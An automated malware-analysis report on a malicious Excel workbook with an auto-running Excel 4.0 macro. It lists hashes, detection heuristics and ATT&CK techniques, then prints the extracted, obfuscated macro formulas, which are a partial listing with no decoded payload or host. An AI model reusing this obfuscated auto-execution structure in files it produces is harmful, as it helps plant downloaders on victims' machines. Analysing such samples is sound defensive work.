Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 90ed189bd6c90e7d…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:42:15 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: a0e49757c567ebf1cb254dec9318cc88 SHA-1: 72cbeb30c8dd8db4233efe46e4540b5851a9439e SHA-256: 90ed189bd6c90e7d904bda28717f25cf7483879b27dc872c82d51c53f441c962
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel document containing Excel 4.0 (XLM) macros, specifically an Auto_Open entry. This entry is flagged as critical due to the use of dangerous formula APIs, including the RUN function. This indicates the macro is designed to execute arbitrary code, likely downloading and running a secondary payload. The extensive obfuscated text in the document body further suggests an attempt to hide malicious activity.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6729 bytes
SHA-256: 41cbeb19b4d940fa951aabc34ac171c311edf6219dec4f2b5f5ce4a3aee6d8e6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  PbxNKw
' 0018     25 LABEL : Cell Value, String Constant - ATciLDrrXm len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B176 
' 0018     26 LABEL : Cell Value, String Constant - BTmeWJORQbv len=0 
' 0018     25 LABEL : Cell Value, String Constant - eFBilGCGVw len=0 
' 0018     21 LABEL : Cell Value, String Constant - GQQyKG len=0 
' 0018     24 LABEL : Cell Value, String Constant - hQXcnUPCO len=0 
' 0018     24 LABEL : Cell Value, String Constant - JjQBrRbVT len=0 
' 0018     21 LABEL : Cell Value, String Constant - mgrEkq len=0 
' 0018     21 LABEL : Cell Value, String Constant - nimwCl len=0 
' 0018     20 LABEL : Cell Value, String Constant - nlLtb len=0 
' 0018     20 LABEL : Cell Value, String Constant - NYkXx len=0 
' 0018     24 LABEL : Cell Value, String Constant - OooRjcYec len=0 
' 0018     26 LABEL : Cell Value, String Constant - oSLsSIEqoPZ len=0 
' 0018     26 LABEL : Cell Value, String Constant - qgRbAPFtufg len=0 
' 0018     25 LABEL : Cell Value, String Constant - rAEGXZUKKG len=0 
' 0018     26 LABEL : Cell Value, String Constant - RJREAITTJGL len=0 
' 0018     22 LABEL : Cell Value, String Constant - uxaNBmT len=0 
' 0018     23 LABEL : Cell Value, String Constant - VBGCWIHP len=0 
' 0018     20 LABEL : Cell Value, String Constant - vSJwK len=0 
' 0018     27 LABEL : Cell Value, String Constant - yMxBmsdcagHn len=0 
' 0018     27 LABEL : Cell Value, String Constant - zfUFhdSkddgp len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  PbxNKw,T53,"",956.00000000000000000000
'  PbxNKw,T54,"",568.00000000000000000000
'  PbxNKw,T55,"",-80.00000000000000000000
'  PbxNKw,T56,"",948.00000000000000000000
'  PbxNKw,T57,"",-366.00000000000000000000
'  PbxNKw,T58,"",953.00000000000000000000
'  PbxNKw,B90,"SET.NAME("NYkXx",0+VALUE("0"))",""
'  PbxNKw,B92,"SET.NAME("zfUFhdSkddgp",NYkXx)",""
'  PbxNKw,B95,"SET.NAME("oSLsSIEqoPZ",NYkXx)",""
'  PbxNKw,B98,"SET.NAME("rAEGXZUKKG",COUNTA(GQQyKG))",""
'  PbxNKw,B101,"SET.NAME("OooRjcYec",COUNTA(VBGCWIHP))",""
'  PbxNKw,B105,[],""
'  PbxNKw,B107,"SET.NAME("nimwCl","")",""
'  PbxNKw,B112,"zfUFhdSkddgp",""
'  PbxNKw,B116,"SET.NAME("RJREAITTJGL",HLOOKUP("*",GQQyKG,zfUFhdSkddgp,FALSE))",""
'  PbxNKw,B119,"vSJwK",""
'  PbxNKw,B121,"SET.NAME("uxaNBmT",NYkXx)",""
'  PbxNKw,B123,[],""
'  PbxNKw,B125,"uxaNBmT",""
'  PbxNKw,B128,"BTmeWJORQbv",""
'  PbxNKw,B132,"eFBilGCGVw",""
'  PbxNKw,B137,"ATciLDrrXm",""
'  PbxNKw,B140,"SET.NAME("qgRbAPFtufg",VALUE(HLOOKUP("*",VBGCWIHP,ATciLDrrXm,FALSE)))",""
'  PbxNKw,B144,"JjQBrRbVT",""
'  PbxNKw,B149,"nimwCl",""
'  PbxNKw,B153,"oSLsSIEqoPZ",""
'  PbxNKw,B156,NEXT(),""
'  PbxNKw,B160,"nlLtb",""
'  PbxNKw,B163,[],""
'  PbxNKw,B167,"yMxBmsdcagHn",""
'  PbxNKw,B169,NEXT(),""
'  PbxNKw,B172,RETURN(),""
'  PbxNKw,B194,"SET.NAME("mgrEkq",B90)",""
'  PbxNKw,B198,"GQQyKG",""
'  PbxNKw,B201,"SET.NAME("VBGCWIHP",R79C13)",""
'  PbxNKw,B205,"SET.NAME("yMxBmsdcagHn",211)",""
'  PbxNKw,B207,"SET.NAME("hQXcnUPCO",2)",""
'  PbxNKw,B210,mgrEkq(),""
'  PbxNKw,B211,HALT(),""